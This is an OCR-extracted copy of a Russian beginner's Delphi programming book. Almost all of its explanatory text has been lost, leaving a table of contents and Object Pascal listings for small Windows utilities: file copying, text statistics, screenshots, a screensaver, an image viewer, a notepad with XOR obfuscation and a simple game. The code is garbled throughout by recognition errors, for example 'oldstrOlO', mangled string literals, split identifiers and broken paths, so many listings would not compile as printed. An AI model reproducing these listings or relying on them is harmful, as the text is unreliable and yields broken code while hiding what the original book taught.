Академический Документы
Профессиональный Документы
Культура Документы
Delphi. Учимся на примерах
Delphi. Учимся на примерах
. .
"-"
, 2005
32.973.26-018.1
681.3.06
18
. .
18 Delphi. / . . . - .: "-",
2005.-216, .
ISBN 966-8806-02-6
, "Delphi. ".
"Delphi. ", , , , , Windows XP. ,
SMS, FTP-, ,
CGI- . Windows
INI-,
Windows API. .
, Delphi,
. Delphi
Object Pascal.
32.973.26-018.1
Delphi
: . .
: . .
I S B N 9668806026
. ., , , 2005
"-", , , 2005
.....
1. WINDOWS XP
10
2.
13
13
13
14
18
3. .
22
22
22
24
25
4.
29
29
29
30
3I
5.
35
35
35
37
39
6.
43
43
43
45
47
?. -
50
50
.'
50
51
55
Windows XP
8. " "
59
59
59
61
63
9. " "
66
66
66
68
74
10.
81
81
81
82
86
11.
89
89
89
12. WINDOWS
90
91
95
95
95
96
99
13.
103
103
103
104
106
115
14.
125
125
125
125
1
2
3
4
5
6
7
8 , ""
9 Internet Explorer
10 /
15.
138
138
127
128
.....128
128
129
130
131
131
132
132
132
138
'.
16.
139
141
144
144
144
144
145
147
148
152
152
152
18. FTP-
154
156
158
158
158
161
165
Windows XP
19. CGI-
171
171
171
174
177
. WINDOWS
178
178
178
178
178
" ... "
179
179
179
179
CD-ROM.
179
180
. 180
180
180
swap .
180
181
181
181
181
>
181
>
181
181
>
182
>
182
*
182
-> -
182
> >
182
>
183
^>
183
183
7
.
183
183
183
184
185
185
Internet
186
INTERNET EXPLORER
186
186
187
187
:
,
. OBJECT PASCAL
/55
185
185
185
186
186
186
187
187
189
190
195
195
195
196
196
197
197
197
197
198
198
199
199
200
201
Windows XP
WITH-DO
DELPHI
. dpr
.pas
,
,
if,
case
for-do
while-do
repeat-until
finally
201
202
202
204
205
205
206
206
207
208
208
209
209
209
210
210
210
210
210
211
211
211
212
212
212
212
212
213
213
213
214
214
214
214
216
, "Delphi. ", .
. ,
, , . "Delphi. ",
, , , , Windows XP. ,
SMS, FTP-,
, CGI- .
, Delphi (
Object Pascal ). ,
Windows, Delphi .
,
, .
.
, , Delphi.
-, , .
10
Windows XP
Windows XP
: \xp_style . t x t . :
[~2~\xp_style.txt
x p _ s t y l e . r c
C:\Program file\Delphi\Bin.
11
x p _ s t y l e . t x t x p _ s t y l e . r e
- C h a p t e r 0 1 .
B i n , Delphi
, . , .
.
C:\Program f i l e \ D e l p h i \ B i n \
brcc32 . , s t y l e . re.
, ,
cmd <Enter>. cd
: \Program f i l e \ D e l p h i \ B i n :
brcc32.exe xp_style.rc
C:\Program f i l e \ D e l p h i \ B i n
x p s t y l e . r e s , ,
Windows XP.
, , . Windows ( ).
Delphi
Edit Standard. Text : Windows .
( Button Standard), (
_1^:^^ 1 i :
procedure TForml.ButtonlClick(Sender: TObject);
begin
ShowMessage(Editl.Text);
end;
,
, . . , ,
, Windows .
12
Windows XP
i m p l e m e n t a t i o n (
* . d f m {$R *.dfm}).
, i m p l e m e n t a -
tion ^2^3^^915.91
____.
($R x p _ s t y l e . r e s }
(. 1.1).
. 1.1. Windows
- , Windows (. 1.2). , -
.
. 1.2. Windows
- C h a p t e r 0 1 .
13
.
, : , , .
Delphi. . .
, Caption ( ) , .
, FormStyle fsStayOnTop.
.
, Label () Standard. Caption :, - - :.
Edit ( )
Standard. Name () from,
Name where. from.Text
where. Text , : c : \ L t x t
di\2.txt.
,
.
OpenDialog Dialogs, SaveDialog
. .
OpenDialogl.Name Openl,
SaveDialogl,Name Savel.
14
: ICA1.txt
: D: V2.txt
:
D:\1.txt
. 2.1.
.
WinAPI, ,
15
, "" ,
, Delphi.
( doit)
:
type
TFormi = class(TForm)
private
{ Private declarations }
procedure doit;
public
{ Public declarations }
end;
implementation:
, , . , ,
.
i
procedure TFormi.doit();
var
f1, f 2 : file of Byte; //
: Byte;
//
sizez: Longlnt;
//
begin
{$1-} // ,
///
try //
// fl
AssignFile(fl, from.Text);
// f2
AssignFile(f2, where.Text);
Reset(fl); //
sizez := Trunc(FileSize(f1)); //
//
Label4.Caption := IntToStr(sizez div 1024) + ' 1 ;
( ,
}
Rewrite(2);
while not Eof (fl) do
begin //
//
BlockRead(fl, cop, 1 ) ;
//
16
BlockWrite(f2,cop,1);
end;
CloseFile(fl); //
CloseFile(f2); //
finally;
end; //
if IOResult <> 0 // -
then MessageDlg(' !',
mtError, [mbOk],0) //
else begin
{ ,
)
ShowMessage(' !');
end;
end;
Object Pascal (, ,
.) .
. , ,
, .
,
, . ,
.
d o i t :
procedure TForml.ButtonlClick{Sender:
TObiect);
:
procedure TForml.Button5Click(Sender: TObject);
begin
doit; //
DeleteFile(from.Text); //
end;
. ()
OnClick ( Button2 from):
[procedure TForml. Button2Click (Sender: TObjectTl
~~j
17
begin
if Openl.Execute
then from.Text := Openl .FileName
else ShowMessage( ' ');
end;
(Openl. Execute).
(Openl. Execute = False), . , .
( Button3 where):
procedure TForml.Button3Click(Sender: TObject);
begin
if Savel.Execute
then where.Text := Savel.FileName
else ShowMessage(' ! ') ;
end;
, . ,
, , .
OnClick
[procedure TForml.Button4Click(Sender: TObject);
I begin
if Openl.Execute
then Del.Text := Openl.FileName
else ShowMessage(' !');
, ,
. ,
. 2 5-1212
18
.
. 2.2.
i f
:
1\ X
: |51(.
:
389
I D:\Projectexej
. 2.2.
2.1.
2.1.
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ShellAPI, Gauges;
type
TForml = class(TForm)
from: TEdit;
where: TEdit;
Buttonl : TButton;
Labell: TLabel;
Label2: TLabel;
Label3: TLabel;:
Label4: TLabel;
19
2.1.
Button2: TButton;
Button3: TButton;
Openl: TOpenDialog;
Savel: TSaveDialog;
Button4: TButton;
del: TEdit;
Button5: TButton;
Button6: TButton;
procedure ButtonlClick(Sender: TObject)
procedure Button2Click(Sender: TObject)
procedure Button3Click(Sender: TObject)
procedure Button5Click(Sender: TObject)
procedure Button4Click(Sender: TObject)
procedure Button6Click(Sender: TObjent)
private
( Private declarations }
procedure doit; // doit
public
{ Public declarations }
end ;
var Forml: TForml;
implementation
{$R *.dfm}
procedure Tforml.doit() ;
var
fl,f2: file of byte; //
: byte; //
sizez: longint; //
begin
{$1-} { ,
/}
try
// fl
AssignFile(fI, from.Text);
// f2
AssignFile(f2, where.Text);
Reset(fl); //
sizez := Trunc(FileSize(f1)); //
// }
Label4.Caption := IntToStr(sizez div 1024) + ' 1 ;
{ ,
}
2* ~ ~ ~
"
~~
20
2,1.
Rewrite(f2);
while not Eof(fl) do
begin //
//
BlockRead(fl, cop, 1 ) ;
//
BlockWrite(f2, cop, 1 ) ;
end;
CloseFile(f1); //
CloseFile(f2);//
finally;
end;
if IOResult <> 0 // -
then MessageDlg(' ! ',
mtError, [mbOk],0) //
else begin
[ ,
}
ShowMessage(' !');
end;
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
doit;
end;
procedure TForml.Button2Click(Sender: TObject);
begin
if Openl.Execute then from.Text := Openl.FileName
else ShowMessage(' ');
end;
procedure TForml.Button3Click(Sender: TObject);
begin
if Savel.Execute then where.Text := Savel.FileName
else
1
ShowMessage('' ! ;
end;
procedure TForml.Button5Click(Sender: TObject);
begin
doit;
DeleteFile(from.Text); //
end;
21
2.1.
procedure TForml.Button4Click(Sender: TObject);
begin
if Openl.Execute then del.Text := Openl.FileName
else ShowMessage(' 1 );
end;
procedure TForml.Button6Click(Sender: TObject);
begin
DeleteFile(del.Text); //
if not FileExists(del.Text)
then // // ,
ShowMessage(' !') ;
end;
end.
- C h a p t e r _ 0 2 .
22
____
,
. , , .
Delphi . Caption . Label Standard,
. 3.1.
3.1. L a b e l ,
Caption
Font.Color
Font.Name
Font.Size
Font.Style
Left
Top
clRed
C o u r i e r New
16
[fsBold]
128
8
Edit Standard ( ),
.
( Button Standard),
.
B u t t o n l . C a p t i o n .
OpenDialog Dialogs. Name
Openl.
23
Label
Caption , , . . 3.2.
3.2. L a b e l
Font.Name
C o u r i e r New
Font.Size
Font.Style
12
[fsBold]
Label ( Name)
words, symbols, spaces l i n e s .
. 3.3.
3.3. w o r d s , s y m b o l s , s p a c e s l i n e s
Caption
Font.Color
0
clRed
Font.Name
Font.Size
Font.Style
Left
Courier New
12
[fsBold]
112
( Button),
. Caption .
.
. 3.1.
I B
: :
:
:
:.:::::::
:
; ; 1 cAautoeKec.bat
...
:::.:::
' 0
: .
. 3.1.
24
:
. :
procedure TForml.ButtonlClick(Sender: TObject);
begin
//
Openl.InitialDir := GetCurrentDir;
if Openl.Execute
then Editl.Text : = Openl.FileName //
//
else ShowMessage(' !');
[end;
,
. : , , E d i t l .
jprocedure TForml.Button2Click(Sender: TObject);
j var
f: file of byte; //
str: byte;
//
oldstr, symbol, word, line, space: Integer; //.
begin
symbol := 0; //
word := 0;
space := 0;
line := 0;
if FileExists(Editl.Text) //,
then begin
AssignFile(f,Editl.Text); // f
Reset (f) ; //
while not Eof (f) do
begin //
oldstr := str;
Read(f, str); // str
if ((str <> 32) and (str <> 13) and (str <> 10))
then symbol := symbol + 1; {
,
, }
// ,
if str = 32 then space := space + 1;
if str = 13 then line := line + 1; //
if ((str = 32) or (str = 13) or (str = 10)) then
25
if <(oldstr<>32) and (oldstrOlO) and (oldstr<>13) )
then word := word + 1; //
end;
CloseFile(f); //
end
else ShowMessage(': !'); {
, }
//
symbols.Caption : IntToStr(symbol);
spaces.Caption := IntToStr(space);
lines.Caption := IntToStr(line);
words.Caption := IntToStr (word) ;
end;
, ,
. ,
, .
32, , . 13,
, . , - -
. , :
, , , ,
.
. 3.2.
161
1317
173
79
DADocsVrexl\Delphi\Unit1.pa
. 3.2.
3.1.
26
3.1.
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls;
type
TForml - class(TForm
Labell TLabel;
Labei2 TLabel;
Label3 TLabel;
Label4 TLabel;
Label5 TLabel;
words: TLabel;
symbols: TLabel;
spaces TLabel;
lines: TLabel;
Buttonl: TButton;
Editl: TEdit;
Button2: TButton;
Openl: TOpenDialog;
procedure ButtonlClick(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public .declarations }
end;
var Forml: TForml;
[ implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);
begin
//
Openl.InitialDir := GetCurrentDir;
if Openl.Execute //
then Editl.Text := Openl.FileName
else ShowMessage(' !');
end;
27
3.1.
procedure TForml.Button2Click(Sender: TObject);
var
f: file of byte; //
str: byte;
//
oldstr, symbol, word, line, space: Integer;
begin
symbol := 0; //
word := 0;
space := 0;
line := 0;
if FileExists(Editl.Text) //,
then begin
AssignFile(f,Editl.Text); // f
Reset (f); //
while not Eof(f) do
begin //
oldstr := str;
Read(f, str); // str
if ((str <> 32) and (str 13) and (str <> 10))
then symbol := symbol + 1; (
,
, }
// ,
if str = 32 then space := space + 1;
if str = 13 then line := line + 1; //
if ((str = 32) or (str = 13) or (str = 10)) then
if ((oldstr<>32) and (oldstrOlO) and (oldstr<>13))
then word := word + 1; //
end;
CloseFile(f); //
end
else ShowMessage(': !'); {
, }
symbols.Caption := IntToStr(symbol); //
spaces.Caption := IntToStr(space);
//
lines.Caption := IntToStr(line);
//
words.Caption := IntToStr(word);
end;
end.
- C h a p t e r _ 0 3 .
28
,
.
Delphi ( Caption) Screenshot.
,
B o r d e r S t y l e bsDialog.
. FormStyle f sStayOnTop.
: ,
.
SaveDialog Dialogs. .
, ,
S a v e D i a l o g l . F i l t e r | * . bmp | ! * .*. :
(.* . bmp) (***).
(
Button Standard) (
Caption): , ,
. , .
Image Additional. (
Name) S c r e e n l , P r o p o r t i o n a l True.
. . 4.1.
29
ScreenShot*
. 4.1.
EP? M i^L_
_____
Forml: TForml; //
1: Graphics.TBitmap; // (*.bmp)
DC1: HDC; //
Imagel: TImage;
30
1.SaveToFile(':\1.bmp1); //
//l.bmp :\
end;
, ,
15 .
1. bmp, : \.
:
^
procedure TForml.Button4Click(Sender: TObject);
begin
Screenl.Show; //
if FileExists(':\1.bmp1) then // ,
Screenl.Picture.LoadFromFile('c:\1.bmp'); //
end;
:
procedure TForml.Button3Click(Sender: TObject);
begin
//
if FileExists(':\1.bmp1) then DeleteFile(':\1.bmp');
Screenl.Hide; //
end;
.
:
procedure TForml.Button2Click(Sender: TObject);
begin
if SaveDialogl.Execute then
BMP1.SaveToFile(SaveDialogl.FileName) //
else ShowMessage(' ! 1 );
end;
,
. , .
( . 4.2).
ScreenShot
4.1.
31
xj
. 4.2. ScreenShot
4.1. ScreenShot
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry,
WinProcs, jpeg;
type
TForml = class(TForm)
Buttonl: TButton;
Button2: TButton;
Screenl: TImage;
SaveDialogl: TSaveDialog;
Button3: TButton;
Button4: TButton;
procedure ButtonlClick(Sender:
procedure Button2Click(Sender:
procedure Button3Click(Sender:
procedure Button4Click(Sender:
private
{ Private declarations }
public
{ Public declarations }
end;
var
TObject);
TObject);
TObject);
TObject);
32
4.1.
Forml: TForml; //
1: Graphics.TBitmap; // (*.bmp)
DC1: HDC; //
Imagel:. TImage;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);
begin
Forml.Visible : = False; //
Sleep(15);// 15
BMP1 := Graphics.TBitmap.Create;
//
1.Height := Screen.Height;
1.Width := Screen.Width;
DCl:=GetDC(O);
//
BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY);
Forml.Visible := True; //
Imagel := TImage.Create(nil) ;
BMP1.IgnorePalette := True;
Imagel.Picture.Assign(BMP1) ;
BMP1.SaveToFile(':\1.bmp'); //
//l.bmp :\
end;
procedure TForml.Button2Click(Sender: TObject);
begin
if SaveDialogl.Execute then
BMP1.SaveToFile(SaveDialogl.FileName) //
else ShowMessage(' !');
end;
procedure TForml.Button3Click(Sender: TObject);
begin
//
if FileExists(':M.bmp') then DeleteFile(':\1.bmp');
Screenl.Hide; //
end;
procedure TForml.Button4Click(Sender: TObject);
begin
33
4.1.
Screenl.Show; //
if FileExists(':\1.bmp') then // ,
Screenl.Picture.LoadFromFile(':\1.bmp');//
end;
end.
- C h a p t e r 04.
3 5-1212
34
Windows (
*-. scr). , ,
.
, .
. , ,
. , .
Delphi. ,
. scr, Delphi
. . . scr, Project > Options, Application Project Options
Target file extension s c r (. 5.1) .
, Timer
System.
I n t e r v a l 100. ,
.
i n t e r v a l 100,
Enabled False, "" .
35
Project Options
Directories/Conditionals
Forms
Application
Version Info
Compiler
Packages
Linker
Application settings
litle: f
Help file:
[con: j
^rowse...
^.
Load Icon... j
JDefai!
OK
Cancel
Help
. 5.1.
. 5.1.
5.1.
BorderStyle
bsNone
Align
alClient
ForruStyle
fsStayOnTop
AlphaBlend
True
AlphaBlendValue
36
var mouse TPoint.
, :
var
Forml: TForml;
mouse: TPoint;
, .
.
( OnCreate):
procedure TForml.FormCreate(Sender: TObject);
begin
GetCursorPos(mouse); //
ShowCursor(False);
//
end;
(
OnKeyPress) ( OnMouseMove). OnKeyPress:
procedure TForml.FormKeyPress(Sender: TObject; var Key:Char);
begin
Halt; //
end;
OnMouseMove
:
procedure TForml .FormMouseMove (Sender: TObject;
Shift : TShiftState; X, Y: Integer);
begin
if (X mouse .X) or ( mouse.Y) then Halt;
end;
: . , , ,
.
:
color_check. :
37
type
TForml
class(TForm)
private
{ Private declarations }
procedure color_check();
public
{ Public declarations }
end;
color check:
implementation
1 6, . c o l o r c h e c k
.
OnTimer :
procedure TForml.TimerlTimer(Sender: TObject);
begin
if Forml.AlphaBlendValue > 250
then {: }
begin
Timerl.Enabled := False; //
Timer2.Enabled := True; //
end;
//
Forml.AlphaBlendValue := Forml.AlphaBlendValue + 1;
end;
38
1, : . ,
100 . ,
, ( Time 2 . OnTimer):
___
procedure TForml.Timer2Timer(Sender: TObject);
begin
if Forml.AlphaBlendValue < 5
then //
begin
color_check(); //
Timer2.Enabled := False; //
Timerl.Enabled := True; //
end;
// 1
Forml.AlphaBlendValue := Forml.AlphaBlendValue - 1;
100 1.
,
, ,
, ,
.
, . s c r
( Windows Windows \System32),
, .
. 5.2.
.
, .
5.1.
39
. 5.2.
5.1.
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, ExtCtrls;
type
TForml = class(TForm)
Timerl: TTimer;
Timer2: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure FormMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer)
procedure TimerlTimer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
40
5.1.
private
{ Private declarations }
procedure color_check();
public
f Public declarations }
end;
var
Forml: TForml;
mouse: TPoint;
implementation
{$R *.dfm)
procedure TForml.color_check(} ;
var
ran: integer; // ,
//
begin
Randomize; //
ran : = Random(6) + 1; // 1
// ,
case ran of
clBlack;
1: Forml.Color
clWhite;
2: Forml.Color
clBlue;
3: Forml.Color
dGray;
4: Forml.Color
clYellow;
5: Forml.Color
clGreen;
6: Forml.Color
end;
end;
procedure TForml.FormCreate(Sender: TObject);
begin
GetCursorPos(mouse); //
ShowCursor(False);
//
end;
procedure TForml.FormKeyPress(Sender: TObject; var Key:Char)
begin
Halt; //
end;
41
5.1.
procedure TForml.FormMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
begin
if (X <> mouse.X) or (Y <> mouse.Y) then Halt;
end;
procedure TForml.TimerlTiraer(Sender: TObject);
begin
if Forml.AlphaBlendValue > 250
then //:
begin
TimerI.Enabled := False; //
Timer2.Enabled := True; //
end;
//
Forml.AlphaBlendValue := Forml.AlphaBlendValue + 1;
end;
procedure TForml.Timer2Timer(Sender: TObject);
begin
if Forml.AlphaBlendValue < 5
then //
begin
color_check(); //
Timer2.Enabled := False; //
TimerI.Enabled := True; //
end;
// 1
Forml.AlphaBlendValue := Forml.AlphaBlendValue - 1;
end;
end.
- C h a p t e r 05.
42
. , . ,
<Enter> .
Delphi. Image Additional, . , Align a l C l i ent.
OpenDialog SaveDialog Dialogs. Name Openl
Savel .
F i l t e r |*.*.
. MainMenu Standard.
, MainMenul,
, . 6.1.
,
Caption. ,
(). Caption - ().
43
Irrl Forml.MainMenul
. 6.1.
, . 6.2.
. 6.2.
. 6.3.
: : _ _ : _ _ : ; : ' : : ' : _: J
. 6.3.
44
OnClick .
-> :
'
I procedure TForml.N2Click(Sender: TObject);
begin
//
Openl.InitialDir := GetCurrentDir;
//
if Openl.Execute then begin
//
Imagel.Picture.LoadFromFile(Openl.FileName);
Imagel.Show; //
end
else //
ShowMessage(' !');
Imagel.Show;
end;
, , , Imagel
.
procedure TForml.N3Click(Sender: TObject);
begin
if Savel.Execute then //
Imagel.Picture.SaveToFile(Savel.FileName)
else ShowMessage(' !');
end;
, ,
,
( S a v e l . FileName) .
procedure TForml.N5Click(Sender: TObject);
begin
Halt; //
end;
45
, ,
-.
, OnCreate
oJElJ!l!di___-_
procedure TForml.FormCreate(Sender: TObject);
var
Str:String; // ,
i:Integer;
begin
if (ParamCount > 0)
then //
begin
//
Str := ParamStr(l);
for i:=2 to ParamCount do
Str := Str + ' ' + ParamStr(i);
Imagel.Picture.LoadFromFile(str); //
Imagel.Show; //
end;
end;
: . , .
. 6.4.
. 6.4.
46
6.1.
6.1.
Uniti;
i interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, Menus, ExtCtrls;
type
TForml = class(TForm)
Imagel: TImage;
MainMenul: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
Openl: TOpenDialog;
Savel: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N3Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N7Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
implementation
{$R *.dfm}
47
6.1.
procedure TForml.FormCreate(Sender: TObject);
var
Str: String; // ,
i:Integer;
begin
if (ParamCount > 0)
then //
begin
//
Str := ParamStr(1);
for i:=2 to ParamCount do
Str := Str +'.*+ ParamStr(i);
end;
Imagel.Picture.LoadFromFile(str); //
Image1.Show; //
end;
end;
procedure TForml.N2Click(Sender: TObject);
begin
//
Openl.InitialDir := GetCurrentDir ;
//
if Openl.Execute then
begin
//
Imagel.Picture.LoadFromFile(Openl.FileName);
Imagel.Show; //
end
else //
ShowMessage(' !');
Imagel.Show;
end;
procedure TForml.N3Click(Sender: TObject);
begin
if Savel.Execute then //-
Imagel.Picture.SaveToFile(Savel.FileName)
else ShowMessage(' !');
end;
procedure TForml.N5Click(Sender: TObject);
begin
Halt; //
Ie n d ;
_ _
_____
48
6.1.
procedure TForml.N7Click(Sender: TObject);
begin
Image1.Hide; //
end;
L
end.
- C h a p t e r _ 0 6.
49
-
,
.
Delphi. . Memo ( ) Standard.
, Memol.Al-ign a l C l i e n t .
( , ). S c r o l l Bars s s V e r t i c a l .
MainMenu Standard
, . 7.1.
|
;...,..
XOR
*/
. 7.1. -
.
>
Checked True, .
4 5-1212
50 -
OpenDialog Dialogs,
SaveDialog . F i l t e r | * . t x t | | * . *.
Dialogs:
Font Dialog. .
, . 7.2.
. 7.2. -
. , , .
xr_num
string:
var
Forml: TForml;
xr_num: s tring;
51
. OnClick
> :
procedure TForml.NIClick(Sender: TObject);
begin
//
OpenDialogl.InitialDir := GetCurrentDir;
if not OpenDialogl.Execute
then ShowMessage('File not selected!')
else // Memo
Memol.Lines.LoadFromFile(OpenDialogl.FileName);
end;
.
, .
OnClick > :
procedure TForml.N2Click(Sender: TObject);
begin
Savedialogl.InitialDir := GetCurrentDir;
if not SaveDialogl.Execute
then ShowMessage('File not saved!1)
else //
Memol.Lines.SaveToFile(SaveDialogl.FileName);
end;
.
, Memo
.
OnClick > :
procedure TForml.N4Click(Sender: TObject);
begin
Close; //
end;
. xr_num.
OnClick - /:
4*
52
xr: string; //
i: integer; //
1 begin
for i:=1 to Length(Memol.Text) do
begin //
//
xr := xr + Chr(Ord(Memol.Text[i]) xor StrToInt(xr_num));
end;
//
Memol.Text := xr;
end;
,
Memo. ,
.
OnClick * :
procedure TForml.N8Click(Sender: TObject);
begin
Memol.lines.Clear; // Memo
end;
Memo .
OnClick -
:
_____
[procedure TForml.N9Click(Sender: TObject);
begin
i f N9.Checked then //
begin
N9.Checked := False; //
//
Memol.ScrollBars := ssBoth;
end
else begin //
N9.Checked := True; //
//
Memol.ScrollBars := ssVertical;
end;
end;
,
- . ,
.
,
.
53
, ,
. , Memo.
, -. OnCreate :
procedure TForml.FormCreate(Sender: TObject);
var
Str: String; //
i: Integer;
begin
xr num := '2'; // 2
if (ParamCount > 0) then
begin
Str := ParamStr(l);
//
f o r i : = 2 t o P a r a m C o u n t d o S t r := S t r +__*.+ P a r a m S t r ( i ) ;
end;
{ ,
Memo }
if Str " then Memol.Lines.LoadFromFile(str);
end;
,
- . , -
54
Memo.
10 . 7.3.
1
* (**6**1* [
*********
. 7.3. 10
-
7.1.
7.1. -
unit Unitl
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls Forms, Dialogs, StdCtrls, Menus;
type
TForml = class(TForm)
Memol: TMemo;
menul: TMainMenu;
Filel: TMenuItem;
Editl: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
55
7.1.
N4: TMenuItem;
N5: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
OpenDialogl: TOpenDialog;
SaveDialogl: TSaveDialog;
FontDialogl: TFontDialog;
N6: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
XoRl: TMenuItem;
procedure NIClick(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure NIOClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure XoRlClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
xr_num: string;
implementation
($R *.dfm)
procedure TForml.NIClick(Sender : TObject);
begin
OpenDialogl.InitialDir := GetCurrentDir;
if not OpenDialogl.Execute
then ShowMessage('File not selected!')
else // Memo
Memol.Lines.LoadFromFile(OpenDialogl.FileName);
end;
procedure TForml.N2Click(Sender: TObject);
begin
SaveDialogl.InitialDir := GetCurrentDir;
56
7.1.
if not SaveDialogl.Execute
then ShowMessage('File not saved!')
else //
Memol.Lines.SaveToFile(SaveDialogl.FileName);
end;
procedure TForml.N4Click(Sender: TObject);
begin
Close; //
end;
procedure TForml.N8Click(Sender: TObject);
begin
Memol.lines.Clear; // Memo
end;
procedure TForml.N5Click(Sender: TObject);
var
xr: string; //
i: integer; //
begin
for i:=l to Length(Memol.Text) do
begin //
//
xr := xr + Chr(Ord(Memol.Text[i]) xor StrToInt(xr_num)
end;
//
Memol.Text := xr;
end;
procedure TForml.N9Click(Sender: TObject);
begin
if N9.Checked then //
begin
N9.Checked := False; //
//
Memol.ScrollBars := ssBoth;
end
else begin //
N9.Checked := True; //
//
Memol.ScrollBars := ssVertical;
end;
end;
57
7.1.
procedure TForml.NIOClick(Sender: TObject);
begin
//
FontDialogl.Font.Color := Memol.Font.Color; //
FontDialogl.Font.Style : = Memol.Font.Style; //
FontDialogl.Font.Size := Memol.Font.Size; //
FontDialogl.Font.Charset : = Memol.Font.Charset; //
FontDialogl.Font.Name := Memol.Font.Name; //
if FontDialogl.Execute then begin
//
Memol.Font.Color : = FontDialogl.Font.Color;
Memol.Font.Style := FontDialogl.Font.Style;
Memol.Font.Size := FontDialogl.Font.Size;
Memol.Font.Charset := FontDialogl.Font.Charset;
Memol.Font.Name : = FontDialogl.Font.Name;
end
end;
procedure TForml.FormCreate(Sender: TObject);
var
Str:String; //
i:Integer;
begin
xr_num := '2'; // = 2
if (ParamCount > 0) then
begin
Str := ParamStr(1);
//
for i:=2 to ParamCount do Str := Str + ' ' + ParamStr(i);
end;
{ ,
Memo }
if str " then Memol.Lines.LoadFromFile(str);
end;
procedure TForml.XoRlClick(Sender: TObject);
begin
if not InputQuery('XOR', ' xor:', xr_num)
then exit;
end;
end.
- C h a p t e r _ 0 7 .
58
" "
" "
,
. ""
. , "" .
Delphi. : , . . 8.1.
8.1. " "
BorderStyle
bsNone
FormStyle
fsStayOnTop
Color
clWindowText
Height
72
Width
208
,
"" , ""
Caption
Font.Color
clLime
59
8.2.
Font.Name
Font.Size
Font.Style
Left
Top
,
C o u r i e r New
12
[fsBold]
16
16
Label
. 8.3.
8.3. L a b e l
Name
popad
Caption
Font.Color
clRed
Font.Name
C o u r i e r New
Font.Size
16
Font.Style
[fsBold]
Left
120
Top
16
Caption
/10
Font.Color
clRed
Font.Name
Courier
Font.Size
16
Font.Style
[fsBold]
Left
144
Top
16
New
60
" "
OnCreate . forma HRGN, :
var
Forml: TForml;
forma: HRGN;
OnCreate :
procedure TForml.FormCreate(Sender: TObject)
begin
Randomize; //
forma := CreateEllipticRgn(0, 0, Forml.Width,
Forml. Height); //
//
SetWindowRgn(Handle, forma, True) ;
end;
"
"1
.
.
Timer 1. OnTimer:
procedure TForml.TimerlTimer(Sender: TObject);
begin
Forml.Top := Random(Screen.Height) + 1; //
Forml.Left := Random(Screen.Width) + 1; //
end;
, , ,
.
OnMouseDown:
procedure TForml.popadMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
61
begin
if StrToInt(popad.Caption) < 10 then
begin // 10
//
Forml.Top := Random(Screen.Height) + 1;
//
Forml.Left := Random(Screen.Width) + 1;
// ""
popad.Caption := IntToStr(StrToInt(popad.Caption) + 1) ;
// 100
Timerl.Interval := Timerl.Interval - 100;
end;
if popad.Caption = 4 0 ' then
begin // 10
Timerl.Enabled := False; //
Forml.Position := poDesktopCenter; //-
//
ShowMessage(' 10 !');
if Application.MessageBox('', ' ?',
mb_yesno + mb taskmodal +
mb_iconQuestion) = idYes
then { }
begin
popad.Caption := ' 1 ; //
//
forma := CreateEllipticRgn(0, 0,
Forml.Width, Forml.Height);
SetWindowRgn(Handle, forma, True);
//
Timerl.Interval := 1000;
Timerl.Enabled := True; // end
else Halt; //
end;
end;
. "" : "" . ,
100 . "", ,
, . :
. ,
. ,
.
62
" "
. 8.2.
" " 8.1.
8.1. " "
unit Unitl;
interface
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
type
TForml = class(TForm)
Label2: TLabel;
popad: TLabel;
Label3: TLabel;
Timerl: TTimer;
procedure FormCreate(Sender: TObject);
procedure TimerITimer(Sender: TObject);
procedure popadMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer)
private
( Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
forma: HRGN;
implementation
{$R *.dfm}
63
8.1.
procedure TForml.FormCreate(Sender: TObject);
begin
Randomize; //
forma := CreateEllipticRgn(0, 0, Forml.Width,
Forml.Height);//
//
SetWindowRgn(Handle, forma, True);
end;
procedure TForml.TimerITimer(Sender: TObject);
begin
forml.Top := Random(Screen.Height) + 1; //
forml.Left := Random(Screen.Width) + 1; //
end;
procedure TForml.popadMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
if StrToInt(popad.Caption) < 10 then
begin // 10
//
Forml.Top := Random(Screen.Height) + 1;
//
